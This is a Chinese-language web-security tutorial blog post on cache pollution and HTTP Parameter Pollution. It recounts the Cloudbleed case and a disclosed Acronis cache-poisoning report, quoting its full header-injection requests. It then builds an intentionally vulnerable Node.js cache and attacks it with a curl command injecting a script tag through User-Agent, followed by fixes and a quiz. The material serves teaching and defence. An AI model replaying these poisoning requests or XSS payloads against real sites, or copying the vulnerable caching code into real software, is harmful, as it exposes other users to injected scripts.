iT邦幫忙

2024 iThome 鐵人賽

DAY 22
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 22

資安這條路 Day 22: Cache Pollution 與 HTTP Parameter Pollution (HPP)

  • 分享至 

  • xImage
  •  

前言

網站的快取機制和參數處理是常見的功能,但如果實作不當,可能會導致嚴重的安全漏洞。
本篇文將深入探討兩種常見的攻擊:Cache Pollution(快取污染)和 HTTP Parameter Pollution (HPP)。
我們將透過實際的程式碼和測試案例來了解這些漏洞的原理和防禦方法。

Cache Pollution(快取污染)

何謂快取

快取(Cache)是一種暫時儲存資料的機制
目的是加速後續對相同資料的存取

快取層級

  • 快取可以存在於多個層級
    1. 瀏覽器快取:儲存在使用者端的資源副本
    2. CDN 快取:內容分發網路中的快取
    3. 應用程式快取:如 Redis 或 Memcached 等記憶體快取系統
    4. 資料庫查詢快取:儲存常見查詢結果

快取優點

  • 快取的主要優點包括
    • 減少伺服器負載
    • 提高應用程式回應速度
    • 降低網路流量

為什麼快取會被汙染

快取污染發生的原因如下

  1. 不安全的快取策略
    • 使用不適當的快取鍵值
    • 沒有正確驗證和清理存入快取的資料
  2. 對使用者輸入缺乏控制
    • 直接將未經處理的使用者輸入存入快取
    • 沒有對快取內容進行安全性檢查
  3. 快取設定不當
    • 快取存活時間(TTL)設定過長
    • 快取範圍過大,包含了不應該快取的敏感或動態內容
  4. 缺乏快取隔離
    • 不同使用者或不同請求共享同一快取空間

駭客如何知道快取可以汙染

駭客可以透過以下方式發現快取污染的可能性:

  1. 觀察回應標頭
    • 檢查 Cache-ControlExpiresETag 等 HTTP 標頭,了解網站的快取策略
  2. 重複請求測試
    • 發送相同請求,觀察回應是否完全一致,判斷是否使用了快取
  3. 參數污染測試
    • 嘗試在請求中加入特殊參數或 Header,看是否影響回應內容
  4. 時間分析
    • 比較首次請求和後續請求的回應時間,判斷是否使用了快取
  5. 源碼分析
    • 如果應用程式是開源的,可以直接查看快取實現邏輯
  6. 錯誤注入
    • 故意發送錯誤的請求,觀察錯誤是否被快取

真實案例解析(1):案例:Cloudflare 的 "Cloudbleed" 漏洞 (2017)

  1. 背景:Cloudflare 是一個流行的 CDN 和資安服務廠商,為許多網站提供快取和保護服務。
  2. 漏洞描述:由於 Cloudflare 的解析器中的緩衝區溢出錯誤,導致私密資訊(如 HTTP cookies、認證令牌、HTTP POST 資料等)被寫入網頁快取中。
  3. 影響:這個漏洞導致敏感資訊可能被快取並提供給其他完全無關的網站存取者。估計影響了約 3,400 個網站。
  4. 發現過程:Google 的安全研究員 Tavis Ormandy 在進行常規測試時發現了這個問題。他注意到某些網頃回應中包含了明顯不屬於該網站的敏感資訊。
  5. 原因分析
    • Cloudflare 的某些功能(如電子郵件混淆)在處理網頁時,可能會導致記憶體洩漏。
    • 洩漏的資料被寫入了 HTTP 回應中
    • 這些含有敏感資訊的回應被 CDN 快取
  6. 修復措施
    • Cloudflare 立即關閉了導致問題的功能
    • 清除了可能受影響的快取
    • 進行了全面的安全審核
  7. 教訓
    • 即使是小型的記憶體安全問題也可能導致嚴重的資安事件
    • 在大規模 CDN 環境中,快取污染可能會迅速擴散並影響大量網站
    • 定期安全審核和及時的漏洞回應至關重要

這個案例突顯了快取系統在安全性方面的重要性,
尤其是在處理大規模、多租戶環境時。

它也說明了為什麼快取污染可能會造成遠超出單一網站範圍的嚴重後果。

真實案例解析(2):Acronis 網站的 Web 快取污染漏洞

來源

https://hackerone.com/reports/1010858

背景

2020年10月18日,一位安全研究員(9529)向 Acronis 報告了一個 Web 快取污染漏洞。

漏洞描述

研究員在 www.acronis.com 發現了快取污染問題。這種漏洞可能被用來分發各種攻擊,如 XSS、JavaScript 注入、開放重定向等。

漏洞複現步驟

  1. 使用 x-forwarded-port 標頭「破壞」快取:
GET /zh-cn/careers/?yig1bt7ai4=1 HTTP/1.1
Host: www.acronis.com
Connection: close
sec-ch-ua: "Chromium";v="86", "\"Not\\A;Brand";v="99", "Google Chrome";v="86"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36 yig1bt7ai4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9, text/yig1bt7ai4
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://www.acronis.com/zh-cn/cloud/cyber-protect/
Accept-Encoding: gzip, deflate, yig1bt7ai4
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
x-forwarded-port: zwrtxqvas9lm4kzkia
Origin: https://yig1bt7ai4.com
  1. 移除特定參數和標頭,發送請求:
GET /zh-cn/careers/ HTTP/1.1
Host: www.acronis.com
Connection: close
sec-ch-ua: "Chromium";v="86", "\"Not\\A;Brand";v="99", "Google Chrome";v="86"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36 yig1bt7ai4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9, text/yig1bt7ai4
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://www.acronis.com/zh-cn/cloud/cyber-protect/
Accept-Encoding: gzip, deflate, yig1bt7ai4
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  1. 其他使用者存取 /zh-cn/careers/ 頁面時,會看到被污染的結果。

進一步的漏洞利用

研究員發現,除了 x-forwarded-port,還可以使用 x-forwarded-host 標頭來達到類似效果:

GET /zh-cn/careers/?yig1bt7ai4=2 HTTP/1.1
Host: www.acronis.com
Connection: close
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Chromium";v="86", "\"Not\\A;Brand";v="99", "Google Chrome";v="86"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
x-forwarded-port: zwrtxqvas9lm4kzkia
x-forwarded-host: evil.acronis.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

影響

  1. 資源載入失敗:CSS 和 JS 檔案從意外的地址載入,導致頁面混亂和功能失效。
  2. 潛在的 XSS 攻擊:如果頁面存在反射型 XSS,快取污染可能導致惡意程式碼傳播。
  3. 拒絕服務:惡意內容可能導致正常使用者無法正確存取網站。

漏洞原因

  1. 快取鍵設計不當:沒有考慮所有可能影響回應的因素。
  2. 對 HTTP 標頭處理不當:特別是 x-forwarded-* 系列標頭。
  3. URL 參數處理不當:參數反射可能導致 XSS。

修復建議

  1. 重新設計快取策略:只快取結果不變的請求。
  2. 嚴格驗證和過濾 HTTP 標頭,特別是 x-forwarded-* 系列。
  3. 實施內容安全策略(CSP)以減輕 XSS 風險。
  4. 定期審查和更新快取策略。

漏洞處理過程

  1. 10月18日:漏洞報告提交。
  2. 10月19日:Acronis 安全團隊要求更多信息。
  3. 10月20日:漏洞被確認並分類為中等嚴重級別(6.9分)。
  4. 10月20日:向報告者發放獎勵。
  5. 2021年3月10日:漏洞被修復並關閉。

教訓

  1. 快取機制的複雜性:即使是大型網站也可能存在快取相關的漏洞
  2. 持續安全審計的重要性:定期檢查和更新安全措施是必要的
  3. responsibly disclosure 的價值:漏洞獎勵計劃有助於發現和修復潛在問題
  4. 全面的安全考慮:在實施快取時,需要考慮各種可能的攻擊向量

這個案例展示了 Web 快取污染漏洞的複雜性和潛在危險性,
強調了在實施快取機制時需要全面考慮安全性,
並對各種 HTTP 標頭和參數保持警惕。

它也凸顯了安全研究在發現和修復此類漏洞中的重要作用。

在實際應用中

開發者應該

  • 仔細考慮哪些內容適合快取
  • 實施適當的快取隔離機制
  • 定期審核快取策略和內容
  • 準備快速清除和刷新快取的機制,以應對可能的安全問題

透過理解這些概念和案例,開發者可以更好地設計和實現安全的快取系統,防止快取污染等安全問題的發生。

實作範例

程式碼

https://github.com/fei3363/ithelp_web_security_2024/commit/ac8f30cd68a06b973e41af57a971ab0bd5f1d2c9

實作步驟

  1. 安裝必要的套件:
    package.json 中新增 node-cache 套件:

    "dependencies": {
      // ... 其他相依套件
      "node-cache": "^5.1.2"
    }
    

    然後執行 npm install 安裝新增的套件。

  2. 建立快取控制器:
    新建檔案 web/controllers/cacheController.js

    const NodeCache = require('node-cache');
    const cache = new NodeCache();
    
    const cacheController = {
      // ... 在此處實作各個方法
    };
    
    module.exports = cacheController;
    
  3. 實作快取功能:
    cacheController 物件中新增 cache 方法:

    cache: function(req, res) {
        const userAgent = req.headers['user-agent'];
    
        // 以 URL 當作快取的鍵值,若有相同的 URL,則直接回傳快取的內容
        const cacheKey = req.url;
    
        if (cache.has(cacheKey)) {
            console.log('Serving from cache');
            return res.send(cache.get(cacheKey));
        }
    
        let content = `<h1>Welcome, ${userAgent}!</h1>`;
        cache.set(cacheKey, content);
        res.send(content);
    },
    
  4. 實作快取管理功能:
    cacheController 物件中新增以下方法:

    // 針對所有快取進行清除
    flush: function(req, res) {
        cache.flushAll();
        res.send('Cache flushed');
    },
    
    // 取得快取統計資訊
    getStats: function(req, res) {
        res.send(cache.getStats());
    },
    
    // 取得所有快取的鍵值
    getKeys: function(req, res) {
        res.send(cache.keys());
    },
    
    // 取得所有快取的值
    getallvalue: function(req, res) {
        res.send(cache.mget(cache.keys()));
    },
    
    // 取得所有快取的 TTL(Time To Live)
    getallvaluettl: function(req, res) {
        try {
            const keys = cache.keys();
            const ttls = {};
            keys.forEach(key => {
                try {
                    ttls[key] = cache.getTtl(key);
                } catch (err) {
                    console.error(`Error getting TTL for key ${key}:`, err);
                    ttls[key] = null; // 或者其他表示錯誤的值
                }
            });
            res.send(ttls);
        } catch (err) {
            console.error('Error in getallvaluettl:', err);
            res.status(500).send('Internal Server Error');
        }
    }
    
  5. 建立路由:
    新建檔案 web/routes/cacheRouter.js

    const express = require('express');
    const cacheController = require('../controllers/cacheController');
    
    const cacheRouter = express.Router();
    
    cacheRouter.get('/', cacheController.cache);
    cacheRouter.get('/flush', cacheController.flush);
    cacheRouter.get('/stats', cacheController.getStats);
    cacheRouter.get('/keys', cacheController.getKeys);
    cacheRouter.get('/getallvalue', cacheController.getallvalue);
    cacheRouter.get('/getallttl', cacheController.getallvaluettl);
    
    module.exports = cacheRouter;
    
  6. 在主應用程式中使用路由:
    web/server.js 中新增:

    const cacheRouter = require('./routes/cacheRouter');
    // ... 其他程式碼
    app.use('/api/cache', cacheRouter);
    

說明

這個實作過程建立了一個基本的快取系統,但它包含了潛在的 Cache Pollution 和 HTTP Parameter Pollution (HPP) 漏洞。

主要的問題在於:

  1. 快取鍵僅使用 URL,沒有考慮其他可能影響回應的因素(如 User-Agent)
  2. 直接將 User-Agent 插入 HTML 中,沒有進行任何清理或驗證
  3. 沒有對 URL 參數進行處理,可能導致 HPP

這樣的設計目的是為了展示常見的錯誤做法,並在後續的學習中逐步改進這些問題。

實際的正式環境中,應該從一開始就實施安全的做法,包括:

  • 使用更複雜的快取鍵,考慮多個請求特徵
  • 對所有使用者輸入進行清理和驗證
  • 正確處理 URL 參數,防止 HPP
  • 實施適當的快取控制和過期策略

攻擊實作

清除快取

curl http://nodelab.feifei.tw/api/cache/flush && echo

image

確認快取為空

curl http://nodelab.feifei.tw/api/cache/getallvalue && echo

image

注入惡意腳本

curl -H "User-Agent: <script>alert('Hacked')</script>" http://nodelab.feifei.tw/api/cache/ && echo

image

檢查快取內容

curl http://nodelab.feifei.tw/api/cache/getallvalue && echo

image

正常使用者瀏覽(使用curl)

curl http://nodelab.feifei.tw/api/cache/ && echo

image

正常使用者瀏覽(使用瀏覽器)

image

檢查快取統計

curl http://nodelab.feifei.tw/api/cache/stats && echo

image

快取命中的定義

當系統試圖從快取中取得資料時,可能會發生兩種情況:

  1. 快取命中(Cache Hit)
    • 系統在快取中找到了所需的資料
    • 可以直接從快取回傳這些資料,而不需要重新生成或從原始來源取得
  2. 快取未命中(Cache Miss)
    • 系統在快取中沒有找到所需的資料
    • 需要從原始來源取得資料,可能涉及更多的計算或網路請求

快取命中的重要性

  1. 效能提升
    • 快取命中通常比未命中快得多,因為資料已經準備好,可以立即使用
    • 減少了資料庫查詢、API 調用或複雜計算的需求
  2. 資源節省
    • 減少了伺服器的負載,因為不需要重新生成或取得資料
    • 節省了網路頻寬,特別是在分布式系統中
  3. 回應時間改善
    • 使用者體驗更好,因為資料能更快地呈現

本次範例中

{"hits":3,"misses":0,"keys":1,"ksize":1,"vsize":51}
  • "hits":3 表示系統成功地從快取中查詢到所需資料 3 次
  • "misses":0 表示系統沒有遇到任何快取未命中的情況

快取命中率

快取命中率是評估快取效率的重要指標:
快取命中率 = 命中次數 / (命中次數 + 未命中次數)
在這個案例中:3 / (3 + 0) = 100%
這表示快取效率非常高,所有請求都從快取中得到了滿足。

注意事項

雖然高命中率通常是好事,但也需要考慮:

  1. 資料新鮮度:確保快取的資料不會過時。
  2. 快取策略:根據應用需求調整快取的生命週期和更新策略。
  3. 記憶體使用:高命中率可能意味著儲存了大量資料,需要平衡記憶體使用。

理解快取命中的概念對於優化系統性能和資源使用非常重要,尤其在設計大型或高流量的應用時。

查看 TTL

curl http://nodelab.feifei.tw/api/cache/getallttl && echo

image

TTL 分析

在 node-cache 中,TTL (Time To Live) 值為 0 的意義

  1. 永不過期:TTL 為 0 表示這個快取鍵值被設定為永不過期。
  2. 預設行為:如果在設定快取鍵值時沒有明確指定 TTL,且沒有設定全面預設 TTL,那麼這個快取鍵值的 TTL 就會是 0。
  3. 無限期保留:代表除非手動刪除或清空快取,否則這個快取鍵值會一直保留在快取中。

如圖所示,所有的快取鍵值都顯示 TTL 為 0,代表:

  • 快取實作沒有為快取鍵值設定過期時間。
  • 快取鍵值將永久保留在記憶體中,直到應用程式重啟或手動清除快取。

潛在問題

  1. 記憶體使用:隨著時間推移,快取可能會佔用越來越多的記憶體,因為快取鍵值永不過期。
  2. 資料新鮮度:沒有過期機制意味著快取的資料可能會變得過時,特別是如果原始資料發生變化。
  3. 安全隱患:如果快取中包含敏感資訊,長期保留可能增加資訊洩漏的風險。

TTL 建議改進

  1. 設定合理的 TTL:根據需求為快取鍵值設定適當的過期時間
cache.set(cacheKey, content, 3600); // 設定 TTL 為 1 小時(3600 秒)
  1. 使用全面預設 TTL:在建立 NodeCache 時設定預設 TTL
const cache = new NodeCache({ stdTTL: 600 }); // 預設 TTL 為 10 分鐘
  1. 定期清理:實現定期清理機制,刪除不再需要的快取鍵值。
  2. 監控:實施監控機制,追蹤快取的使用情況和記憶體佔用。

防禦措施

  1. 使用更複雜的快取鍵,包含多個請求特徵。
  2. 對使用者輸入進行清理和驗證,特別是在插入 HTML 時。
  3. 設定適當的快取過期時間。
  4. 實施內容安全策略(CSP)。
// controllers/cacheController.js

const NodeCache = require('node-cache');
const crypto = require('crypto');
const sanitizeHtml = require('sanitize-html');

const cache = new NodeCache({ stdTTL: 600 }); // 設定預設過期時間為 600 秒

const cacheController = {
    cache: function(req, res) {
        // 1. 使用更複雜的快取鍵值
        const cacheKey = generateCacheKey(req);

        if (cache.has(cacheKey)) {
            console.log('Serving from cache');
            return res.send(cache.get(cacheKey));
        }

        // 2. 對使用者輸入進行清理和驗證
        const userAgent = sanitizeHtml(req.headers['user-agent'] || 'Unknown');
        
        let content = `<h1>Welcome, ${userAgent}!</h1>`;
        
        // 3. 設定快取,包含過期時間
        cache.set(cacheKey, content, 300); // 設定此特定內容的過期時間為 300 秒

        // 4. 實施內容安全策略
        res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'none'; style-src 'self' 'unsafe-inline';");
        
        res.send(content);
    },

    // ... 其他方法保持不變
};

// 生成複雜的快取鍵值
function generateCacheKey(req) {
    const { url, method, headers } = req;
    const keyParts = [
        url,
        method,
        headers['user-agent'],
        headers['accept-language'],
        // 可以新增更多相關的請求特徵
    ];
    return crypto.createHash('md5').update(keyParts.join('|')).digest('hex');
}

module.exports = cacheController;

解釋

  1. 複雜的快取鍵值
    • 使用 generateCacheKey 函數建立一個基於多個請求特徵的唯一鍵
    • 包含 URL、HTTP 方法、User-Agent 和 Accept-Language 等資訊
    • 使用 MD5 雜湊確保鍵的唯一性和一致長度
  2. 輸入清理和驗證
    • 使用 sanitize-html 庫清理 User-Agent 字串,防止 XSS 攻擊
    • 確保在插入 HTML 時不會引入惡意腳本
  3. 快取過期時間
    • 為整個快取設定預設的過期時間(600秒)
    • 為特定內容設定自定義過期時間(300秒)
  4. 內容安全策略(CSP)
    • 新增 CSP 標頭,限制資源載入和腳本執行
    • 這裡的策略非常嚴格,只允許從同一來源載入資源,並完全禁止腳本執行

HTTP Parameter Pollution (HPP)

概念介紹

HTTP Parameter Pollution (HPP) 是一種透過操縱 HTTP 請求參數來混淆應用程式邏輯或繞過安全控制的攻擊技術。
當應用程式不正確地處理多個同名參數時,可能會導致意外的行為。

本次實作範例

app.get('/api/cache', (req, res) => {
    const url = req.query.url;
    // 使用 url 參數進行某些操作
});

這種實作可能容易受到 HPP 攻擊,因為它沒有正確處理多個同名參數的情況。

步驟解析

清除快取

curl http://nodelab.feifei.tw/api/cache/flush && echo
Cache flushed
  • 這步驟清除了所有快取內容,為後續測試準備乾淨的環境。

測試 HPP

curl "http://nodelab.feifei.tw/api/cache/?url=http://example.com&url=http://attacker.com" && echo
<h1>Welcome, curl/7.81.0!</h1>
  • 發送帶有兩個 URL 參數的請求。

檢查快取內容

curl http://nodelab.feifei.tw/api/cache/getallvalue && echo
{"/?url=http://example.com&url=http://attacker.com":"<h1>Welcome, curl/7.81.0!</h1>"}
  • 可以看到快取被建立,使用完整的查詢字符串作為鍵。

測試不同的參數組合

curl "http://nodelab.feifei.tw/api/cache/?url=http://attacker.com" && echo
<h1>Welcome, curl/7.81.0!</h1>
  • 發送只有一個 URL 參數的請求。

再次檢查快取內容

curl http://nodelab.feifei.tw/api/cache/getallvalue && echo
{"/?url=http://example.com&url=http://attacker.com":"<h1>Welcome, curl/7.81.0!</h1>","/?url=http://attacker.com":"<h1>Welcome, curl/7.81.0!</h1>"}
  • 可以看到新的參數組合建立了新的快取。

測試無參數請求

curl "http://nodelab.feifei.tw/api/cache/" && echo
<h1>Welcome, curl/7.81.0!</h1>
  • 發送不帶任何參數的請求。

最終檢查快取狀態

curl http://nodelab.feifei.tw/api/cache/getallvalue && echo
{"/?url=http://example.com&url=http://attacker.com":"<h1>Welcome, curl/7.81.0!</h1>","/?url=http://attacker.com":"<h1>Welcome, curl/7.81.0!</h1>","/":"<h1>Welcome, curl/7.81.0!</h1>"}
  • 這顯示了所有不同的請求都建立了獨立的快取項

分析

  1. HTTP Parameter Pollution (HPP): 系統沒有正確處理多個同名參數,而是將它們作為單一字符串處理
  2. 快取鍵值問題: 使用完整的URL查詢字符串作為快取鍵值,導致相似但不完全相同的請求建立多個快取
  3. XSS 漏洞: 初始快取中包含的 XSS 腳本表明系統沒有正確清理使用者輸入
  4. 快取污染: 不同的請求產生不同的快取項,可能導致使用者看到不一致的內容
  5. 缺乏參數驗證: 系統似乎沒有驗證或清理 URL 參數

防禦

  1. 正確處理多個同名參數,例如使用陣列來儲存所有值
  2. 規範化快取鍵值,例如排序參數或只使用第一個出現的參數
  3. 實施更嚴格的參數驗證和清理
  4. 考慮在快取鍵值中加入更多的請求特徵,如 User-Agent
  5. 實施適當的快取控制策略,包括設定合理的過期時間
  6. 使用框架或 Middleware 來統一處理參數

可以修改快取鍵值生成邏輯:

function generateCacheKey(req) {
    const { url, method, headers } = req;
    const parsedUrl = new URL(url, `http://${req.headers.host}`);
    const sortedParams = Array.from(parsedUrl.searchParams.entries())
        .sort((a, b) => a[0].localeCompare(b[0]))
        .map(([key, value]) => `${key}=${value}`)
        .join('&');
    
    const keyParts = [
        parsedUrl.pathname,
        sortedParams,
        method,
        headers['user-agent'],
        // 可以新增更多相關的請求特徵
    ];
    return crypto.createHash('md5').update(keyParts.join('|')).digest('hex');
}

結論

Cache Pollution 和 HTTP Parameter Pollution 都是源於不當的輸入處理和不安全的設計。
透過理解這些漏洞的原理,實施適當的防禦措施,我們可以提高應用程式的安全性。

小試身手

  1. Cache Pollution 攻擊主要利用了什麼機制?
    A) 資料庫查詢
    B) 快取儲存
    C) 會話管理
    D) 密碼加密

答案:B) 快取儲存

解析:Cache Pollution 攻擊主要利用網站的快取機制。
攻擊者透過操縱輸入來污染快取,使得快取中存儲惡意或不正確的內容,進而影響其他使用者。

  1. 在提供的 Cache Pollution 範例中,使用什麼作為快取鍵?
    A) User-Agent
    B) IP 地址
    C) URL
    D) 時間戳

答案:C) URL

解析:在提供的範例中,系統使用 URL 作為快取鍵。
這種方法容易受到攻擊,因為不同的 URL 參數組合可能導致不同的快取項,增加了 Cache Pollution 的風險。

  1. HTTP Parameter Pollution (HPP) 攻擊的主要目標是什麼?
    A) 竊取使用者密碼
    B) 混淆應用程式邏輯
    C) 破壞資料庫
    D) 超載伺服器

答案:B) 混淆應用程式邏輯

解析:HPP 攻擊的主要目標是混淆應用程式的邏輯。
透過提供多個同名參數,攻擊者試圖使應用程式以意外的方式處理這些參數,從而繞過安全檢查或觸發非預期的行為。

  1. 以下哪項不是防禦 Cache Pollution 的有效方法?
    A) 使用複雜的快取鍵值
    B) 對使用者輸入進行清理
    C) 增加伺服器記憶體
    D) 設定適當的快取過期時間

答案:C) 增加伺服器記憶體

解析:增加伺服器記憶體不能直接防禦 Cache Pollution。
有效的方法包括使用複雜的快取鍵值、清理使用者輸入、設定適當的過期時間等。
這些方法都直接針對快取機制的安全性,而不是硬體資源。

  1. 處理 HPP 攻擊時,以下哪種做法是正確的?
    A) 忽略所有重複的參數
    B) 只處理第一個參數
    C) 使用陣列來處理可能重複的參數
    D) 刪除所有參數

答案:C) 使用陣列來處理可能重複的參數

解析:使用陣列來處理可能重複的參數是處理 HPP 攻擊的正確方法。
這允許應用程式正確地捕捉所有提供的參數值,而不是忽略或只處理部分參數。
這種方法使得應用程式能夠更好地控制如何處理多個同名參數。


上一篇
資安這條路 Day 21: JWT Token 安全性探討
下一篇
資安這條路:Day 23 利用 Node.js 了解目錄穿越攻擊(Directory Traversal/Path Traversal )
系列文
資安這條路:系統化學習網站安全與網站滲透測試30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言